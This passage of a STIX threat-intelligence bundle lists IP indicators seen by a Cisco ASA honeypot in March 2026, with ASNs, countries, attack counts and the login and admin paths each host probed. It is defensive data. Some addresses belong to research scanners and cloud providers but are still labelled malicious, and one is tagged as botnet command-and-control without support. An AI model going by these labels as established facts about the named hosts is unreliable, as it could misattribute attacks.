      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T09:20:04.000Z",
      "valid_until": "2026-05-01T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-30T08:52:06.103Z",
          "last_seen": "2026-03-30T08:53:13.621Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T09:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cgi-bin/luci/;stok=/locale HTTP/1.1\" 404 - geo: FR; ASN 29066 (velia.net Internetdienste GmbH)",
      "id": "indicator--0bf3aed2-203b-4a37-9dad-dbeeb3e5c17d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.25.172.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T09:20:04.000Z",
      "valid_until": "2026-05-01T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-30T09:17:19.168Z",
          "last_seen": "2026-03-30T09:17:22.171Z",
          "country": "France",
          "country_code": "FR",
          "asn": 29066,
          "as_org": "velia.net Internetdienste GmbH",
          "event_types": [
            "\"GET /cgi-bin/luci/;stok=/locale HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--58f3098e-0078-49e8-89fe-808f5fddbd0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.182.201.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:20:02.000Z",
      "valid_until": "2026-05-01T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T10:19:27.030Z",
          "last_seen": "2026-03-30T10:19:27.030Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T10:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--e010f935-dff2-4c19-8c96-aaaf0cc215e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '68.220.58.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T10:20:02.000Z",
      "valid_until": "2026-05-01T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T10:16:51.746Z",
          "last_seen": "2026-03-30T10:16:51.746Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T01:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--632ba932-be5f-477a-a741-dd5436ec2060",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.167.7.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:20:03.000Z",
      "valid_until": "2026-05-02T01:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-22T00:55:44.050Z",
          "last_seen": "2026-03-31T00:58:52.215Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T01:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b3e5c209-113c-408b-863e-be1b3e344bc4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.89.3.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T01:20:03.000Z",
      "valid_until": "2026-05-02T01:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-31T00:58:45.265Z",
          "last_seen": "2026-03-31T00:58:45.265Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T02:35:35.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 202412 (Omegatech LTD)",
      "id": "indicator--13f12100-1dfc-478f-93e0-b125c1d04a2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.16.55.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T02:35:35.000Z",
      "valid_until": "2026-05-02T02:35:33.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1693,
          "first_seen": "2026-03-31T01:31:05.551Z",
          "last_seen": "2026-03-31T02:13:26.181Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:20:04.000Z",
      "valid_until": "2026-05-02T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 15,
          "first_seen": "2026-03-31T10:10:39.184Z",
          "last_seen": "2026-03-31T10:17:16.091Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3d1fd13f-4dc7-4f39-a025-54a039b06311",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:20:04.000Z",
      "valid_until": "2026-05-02T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-31T10:13:35.263Z",
          "last_seen": "2026-03-31T10:13:35.263Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--acad17e3-fc90-4807-bd2a-f4052d3523f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:20:04.000Z",
      "valid_until": "2026-05-02T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-31T10:15:23.156Z",
          "last_seen": "2026-03-31T10:15:23.156Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--731f8540-25d6-42cd-ab50-21ca80b0514c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:20:04.000Z",
      "valid_until": "2026-05-02T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-31T10:15:02.194Z",
          "last_seen": "2026-03-31T10:15:02.194Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9f1a48b4-a143-4367-a88c-2151e370128b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T10:20:04.000Z",
      "valid_until": "2026-05-02T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-31T10:15:22.080Z",
          "last_seen": "2026-03-31T10:15:22.080Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T13:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--c0c06948-ad31-4675-9d20-7cb966722989",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:20:03.000Z",
      "valid_until": "2026-05-02T13:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 19,
          "first_seen": "2026-03-31T12:44:32.086Z",
          "last_seen": "2026-03-31T12:49:54.404Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /aspera/faspex/ HTTP/1.1\" 404 -",
            "\"GET /css/images/PTZOptics_powerby.png HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /internal_forms_authentication HTTP/1.1\" 404 -",
            "\"GET /jasperserver/login.html HTTP/1.1\" 404 -",
            "\"GET /login/login HTTP/1.1\" 404 -",
            "\"GET /progs/homepage HTTP/1.1\" 404 -",
            "\"GET /sitecore/shell/sitecore.version.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T13:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--8d31c34b-fa65-4af1-a12d-3d1d389f1adb",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:20:03.000Z",
      "valid_until": "2026-05-02T13:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-31T12:45:15.040Z",
          "last_seen": "2026-03-31T12:50:02.510Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /cgi-bin/config.exp HTTP/1.1\" 404 -",
            "\"GET /login HTTP/1.1\" 404 -",
            "\"GET /partymgr/control/main HTTP/1.1\" 404 -",
            "\"GET /showLogin.cc HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T13:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--16ddb7cc-b6f8-44c1-9d3d-24156955398a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:20:03.000Z",
      "valid_until": "2026-05-02T13:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 22,
          "first_seen": "2026-03-31T12:44:36.168Z",
          "last_seen": "2026-03-31T12:49:50.793Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /WebInterface/ HTTP/1.1\" 404 -",
            "\"GET /console HTTP/1.1\" 404 -",
            "\"GET /jasperserverTest/login.html HTTP/1.1\" 404 -",
            "\"GET /js/NewWindow_2_all.js HTTP/1.1\" 404 -",
            "\"GET /license.txt HTTP/1.1\" 404 -",
            "\"GET /login.html HTTP/1.1\" 404 -",
            "\"GET /metrics HTTP/1.1\" 404 -",
            "\"GET /php/login.php HTTP/1.1\" 404 -",
            "\"GET /wp-json HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T13:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--13d1d2ab-9478-4847-b8e9-86b2c55d8a04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:20:03.000Z",
      "valid_until": "2026-05-02T13:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 14,
          "first_seen": "2026-03-31T12:44:05.911Z",
          "last_seen": "2026-03-31T12:46:18.091Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /jasperserver-pro/login.html HTTP/1.1\" 404 -",
            "\"GET /owncloud/status.php HTTP/1.1\" 404 -",
            "\"GET /status.php HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T19:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204770 (UAB Cherry Servers)",
      "id": "indicator--99e9de8c-5ed2-4ed2-abb1-863269d14cca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.32.48.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:20:03.000Z",
      "valid_until": "2026-05-02T19:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-31T18:34:16.005Z",
          "last_seen": "2026-03-31T18:34:16.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204770,
          "as_org": "UAB Cherry Servers",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-31T20:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--de57ef7b-9e43-4ae0-976c-3a803293c860",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.154.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:20:14.000Z",
      "valid_until": "2026-05-02T20:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-31T19:29:13.124Z",
          "last_seen": "2026-03-31T19:29:16.127Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-03-31T23:48:59.568533+00:00",
    "sensor": "ciscoasa",
    "sensor_type": "firewall_vpn_honeypot",
    "month": "2026-03",
    "ip_count": 644,
    "total_attacks": 8193,
    "indicators_enriched": 657
  },
  "x_nadsec_ip_context": {
    "173.239.240.234": {
      "attack_count": 624,
      "first_seen": "2026-03-10T22:33:53.020Z",
      "last_seen": "2026-03-17T19:13:55.892Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Edison",
      "asn": 396356,
      "as_org": "Latitude.sh"
    },
    "216.218.206.67": {
      "attack_count": 39,
      "first_seen": "2026-03-11T02:58:42.898Z",
      "last_seen": "2026-03-18T07:53:45.877Z",
      "ports": [],
      "event_types": [
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "152.32.206.35": {
      "attack_count": 16,
      "first_seen": "2026-03-19T18:54:12.131Z",
      "last_seen": "2026-03-19T18:54:56.630Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.100.252": {
      "attack_count": 16,
      "first_seen": "2026-03-09T19:04:39.901Z",
      "last_seen": "2026-03-09T19:05:21.868Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 135377,
